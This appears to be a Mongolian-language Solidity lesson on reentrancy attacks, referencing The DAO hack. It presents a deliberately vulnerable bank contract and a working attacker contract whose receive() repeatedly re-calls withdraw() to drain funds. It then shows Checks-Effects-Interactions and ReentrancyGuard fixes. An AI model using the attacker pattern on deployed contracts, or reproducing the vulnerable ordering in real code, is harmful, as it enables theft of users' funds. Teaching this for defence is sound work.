Solidity / Reentrancy attack

Reentrancy attack

Reentrancy бол blockchain-ийн түүхэн дэх хамгийн алдартай халдлага. 2016 онд The DAO-г хакердаж $60 сая долларын ETH хулгайлсан бөгөөд Ethereum-ийн hard fork-д хүргэсэн.

Reentrancy яаж ажилладаг вэ?

Үндсэн санаа: Contract А нь Contract В руу ETH илгээхэд, В-ийн receive() функц дахин А руу дуудлага хийж болно — А-ийн балансын шинэчлэл хийгдэхээс өмнө.

код
1. Халдагч withdraw() дуудна
2. VulnerableBank ETH илгээнэ → Халдагчийн receive() ажиллана
3. receive() дотор дахин withdraw() дуудна (баланс хэсийн нь 0 болоогүй!)
4. VulnerableBank дахин ETH илгээнэ
5. ... үргэлжлэнэ (gas дуустал)
6. Эцэст нь балансыг 0 болгоно — гэхдээ хэт оройтсон

Өртөмтгий contract жишээ

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ⚠️ АЮУЛТАЙ — энэ кодыг mainnet-д ашиглаж болохгүй
contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Үлдэгдэл байхгүй");

        // ❌ АЛДАА: Эхлээд ETH илгээнэ
        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "Илгээхэд алдаа");

        // ❌ АЛДАА: Дараа нь тооцоо шинэчилнэ — хэт оройтсон!
        balances[msg.sender] = 0;
    }
}

Халдагчийн contract

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IVulnerableBank {
    function deposit() external payable;
    function withdraw() external;
}

contract Attacker {
    IVulnerableBank public bank;
    address public owner;
    uint256 public attackAmount;

    constructor(address _bankAddress) {
        bank = IVulnerableBank(_bankAddress);
        owner = msg.sender;
    }

    // Халдлага эхлүүлэх
    function attack() public payable {
        require(msg.value >= 1 ether, "Хамгийн багадаа 1 ETH");
        attackAmount = msg.value;

        // 1. Эхлээд хуурамч deposit хийнэ
        bank.deposit{value: msg.value}();

        // 2. Withdraw дуудна — reentrancy эхэлнэ
        bank.withdraw();
    }

    // Bank ETH илгээх бүрт энэ функц ажиллана
    receive() external payable {
        // Bank-д ETH байгаа л бол давтан дуудна
        if (address(bank).balance >= attackAmount) {
            bank.withdraw(); // Дахин withdraw!
        }
    }

    function collectFunds() public {
        require(msg.sender == owner, "Зөвхөн эзэмшигч");
        payable(owner).transfer(address(this).balance);
    }
}

Халдлагын дараалал дэлгэрэнгүй

код
Attacker.attack() дуудна (1 ETH-тэй)
  │
  ├─► bank.deposit{value: 1 ETH}()     → balances[attacker] = 1 ETH
  │
  └─► bank.withdraw()
        │
        ├─ amount = balances[attacker] = 1 ETH
        ├─ msg.sender.call{value: 1 ETH}("")  ← ETH илгээнэ
        │       │
        │       └─► Attacker.receive() ажиллана!
        │               │
        │               └─► bank.withdraw() ДАХИН дуудна
        │                     │
        │                     ├─ amount = balances[attacker] = 1 ETH (0 болоогүй!)
        │                     ├─ msg.sender.call{value: 1 ETH}("")
        │                     │       └─► Attacker.receive() → withdraw() → ...
        │                     └─ balances[attacker] = 0  ← Хэт оройтсон
        │
        └─ balances[attacker] = 0  ← Хэт оройтсон

Засах арга 1 — Checks-Effects-Interactions

Хамгийн энгийн бөгөөд үр дүнтэй арга: төлөвийг гадаад дуудлагаас өмнө шинэчлэх.

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract FixedBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        // ✅ 1. Checks
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Үлдэгдэл байхгүй");

        // ✅ 2. Effects — ЭХЛЭЭД тооцоо шинэчилнэ
        balances[msg.sender] = 0;

        // ✅ 3. Interactions — ДАРАА нь ETH илгээнэ
        (bool success,) = payable(msg.sender).call{value: amount}("");
        require(success, "Илгээхэд алдаа");
    }
}

Одоо халдагч дахин withdraw() дуудахад balances[attacker] = 0 байна — require буцаана.

Засах арга 2 — ReentrancyGuard (OpenZeppelin)

OpenZeppelin-ийн ReentrancyGuard нь nonReentrant modifier-ийг нэмнэ. Функц ажиллаж байх үед дахин дуудахыг хориглоно.

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // nonReentrant modifier — дахин дуудлагыг хориглоно
    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Үлдэгдэл байхгүй");

        balances[msg.sender] = 0;

        (bool success,) = payable(msg.sender).call{value: amount}("");
        require(success, "Илгээхэд алдаа");
    }
}

ReentrancyGuard яаж ажилладаг вэ?

solidity
// OpenZeppelin-ийн дотоод механизм (хялбарчилсан)
contract ReentrancyGuard {
    uint256 private _status; // 1 = нэвтрээгүй, 2 = нэвтэрсэн

    modifier nonReentrant() {
        require(_status != 2, "Дахин дуудлага хориглогдсон");
        _status = 2;  // Нэвтэрсэн гэж тэмдэглэнэ
        _;
        _status = 1;  // Гарсан гэж тэмдэглэнэ
    }
}

Хоёр аргыг хослуулах — хамгийн найдвартай

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract BestPracticeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    event Deposited(address indexed user, uint256 amount);
    event Withdrawn(address indexed user, uint256 amount);

    function deposit() public payable {
        require(msg.value > 0, "Дүн 0-ээс их байх ёстой");
        balances[msg.sender] += msg.value;
        emit Deposited(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) public nonReentrant {
        // Checks
        require(amount > 0, "Дүн 0-ээс их байх ёстой");
        require(balances[msg.sender] >= amount, "Үлдэгдэл хүрэлцэхгүй");

        // Effects
        balances[msg.sender] -= amount;
        emit Withdrawn(msg.sender, amount);

        // Interactions
        (bool success,) = payable(msg.sender).call{value: amount}("");
        require(success, "ETH илгээхэд алдаа");
    }
}

Хамгаалалтын хураангуй

| Арга | Хэрэгжүүлэлт | Найдвартай байдал | | --------------------------- | ----------------------------- | ----------------------- | | Checks-Effects-Interactions | Кодын дараалал зөв байлгах | ✅ Сайн | | ReentrancyGuard | nonReentrant modifier нэмэх | ✅ Сайн | | Хослуулах | Хоёуланг хамт ашиглах | ✅✅ Хамгийн найдвартай |

Дараагийн хичээлд:

Hardhat тохируулж, орон нутгийн хөгжүүлэлтийн орчин бэлдэнэ.